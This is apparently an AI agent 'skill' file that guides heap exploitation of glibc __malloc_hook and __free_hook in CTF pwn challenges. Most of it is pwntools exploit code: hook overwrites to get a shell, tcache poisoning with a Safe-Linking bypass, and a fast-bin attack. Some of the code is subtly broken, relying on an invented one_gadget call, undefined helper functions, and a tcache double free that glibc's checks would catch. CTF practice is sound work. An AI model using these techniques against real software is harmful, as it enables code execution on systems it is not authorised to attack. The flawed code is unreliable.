| name | malloc-hook-exploit |
| description | Guide for exploiting __malloc_hook and __free_hook in binary exploitation challenges. Use this skill when working on CTF pwn challenges involving heap vulnerabilities, malloc/free hook overwrites, tcache poisoning, or Safe-Linking bypasses. Trigger when the user mentions malloc hook, free hook, heap exploitation, glibc hooks, tcache poisoning, or is solving binary exploitation challenges that involve heap memory corruption. |
Malloc/Free Hook Exploitation Guide
This skill helps you exploit __malloc_hook and __free_hook vulnerabilities in binary exploitation challenges. These are powerful primitives for achieving arbitrary code execution through heap corruption.
Quick Reference
| Hook | Triggered By | glibc Support |
|---|
__malloc_hook | Any malloc() call | ≤ 2.33 |
__free_hook | Any free() call | ≤ 2.33 |
__realloc_hook | Any realloc() call | ≤ 2.33 |
__memalign_hook | Any memalign() call | ≤ 2.33 |
⚠️ Critical: Hooks are disabled in glibc ≥ 2.34. Check the target's glibc version first!
Step 1: Check glibc Version
Before attempting hook exploitation, verify the target supports it:
ldd --version
strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_ | sort -V | tail -1
If glibc ≥ 2.34, hooks won't work. Pivot to alternatives like:
- IO-FILE structure hijacking
__run_exit_handlers overwrites
- vtable spraying
- Return-to-libc with other function pointers
Step 2: Locate Hook Addresses
With Symbols (Debug Build)
gef➤ p &__malloc_hook
gef➤ p &__free_hook
Without Symbols
Use the find_hook_address.py script:
python3 scripts/find_hook_address.py /path/to/libc.so.6
Or manually in GDB:
gef➤ x/20i free
gef➤ break *free+25
gef➤ run
Step 3: Choose Your Attack Vector
Option A: __malloc_hook Exploitation
When to use: You can trigger malloc() after overwriting the hook.
Prerequisites:
- Arbitrary write primitive (UAF, heap overflow, use-after-free)
- One Gadget or shellcode address
- Ability to trigger malloc (or use
printf("%10000$c") to force it)
Workflow:
- Overwrite
__malloc_hook with a One Gadget address
- Trigger
malloc() - the gadget executes
- Get shell
Example:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
one_gadget = one_gadget(libc.path, ret2ret=False)
malloc_hook = libc.sym['__malloc_hook']
write(malloc_hook, p64(one_gadget))
p.sendline(b"malloc_trigger")
p.interactive()
Option B: __free_hook Exploitation
When to use: You can trigger free() after overwriting the hook.
Prerequisites:
- Heap corruption primitive (fast bin attack, tcache poisoning, unsorted bin attack)
system function address
- String
/bin/sh in heap
Workflow:
- Overwrite
__free_hook with system address
- Place
/bin/sh in a heap chunk
- Free that chunk -
system("/bin/sh") executes
Example:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
free_hook = libc.sym['__free_hook']
write(free_hook, p64(libc.sym['system']))
bin_sh = malloc(0x50)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
p.interactive()
Step 4: Handle Safe-Linking (glibc 2.32-2.33)
glibc 2.32+ introduced Safe-Linking that obfuscates tcache forward pointers:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Consequences:
- Heap leak required - you need
chunk_addr >> 12 to forge valid pointers
- Full 8-byte overwrites only - partial writes fail the check
Tcache Poisoning with Safe-Linking:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12
log.success(f"heap @ {hex(heap_base)}")
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison))
malloc(0x48)
c = malloc(0x48)
edit(c, p64(libc.sym['system']))
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
p.interactive()
Step 5: Fast Bin Attack for __free_hook
When you need to place a chunk at __free_hook:
-
Find chunk size that fits near __free_hook:
gef➤ p &__free_hook
$1 = 0x7ff1e9e607a8
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
-
Create fast bin chunk of matching size:
chunk = malloc(0xfc)
merge(chunk)
-
Poison fd to point to __free_hook location
-
Allocate to get chunk at __free_hook
-
Overwrite with system address
-
Free a chunk containing /bin/sh
Common Pitfalls
| Issue | Solution |
|---|
| glibc ≥ 2.34 | Use alternative primitives (IO-FILE, vtable) |
| Safe-Linking fails | Leak heap address, use chunk_addr >> 12 as XOR key |
| Partial overwrite fails | Safe-Linking requires full 8-byte pointer |
| Hook not triggering | Verify hook address is correct, check for ASLR |
| Segfault after overwrite | Ensure gadget/function address is valid |
Debugging Tips
gef➤ watch *(&__malloc_hook)
gef➤ watch *(&__free_hook)
gef➤ p __malloc_hook
gef➤ p __free_hook
gef➤ break malloc
gef➤ break free
When Hooks Don't Work (glibc ≥ 2.34)
If hooks are disabled, try these alternatives:
- IO-FILE Hijacking: Overwrite FILE structure vtable
__run_exit_handlers: Overwrite exit handler function pointer
- vtable Spraying: Overwrite C++ vtable entries
- Return-to-libc: Chain libc functions directly
- ROP: Build ROP chain to achieve code execution
See: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md
Quick Start Script
Use scripts/exploit_template.py as a starting point:
python3 scripts/exploit_template.py --help
This generates a template with:
- glibc version check
- Hook address discovery
- Exploitation workflow
- Interactive shell
References
Remember: Always verify glibc version before attempting hook exploitation. Modern systems (Ubuntu 22.04+, Fedora 35+, Debian 12) use glibc ≥ 2.34 where hooks are disabled.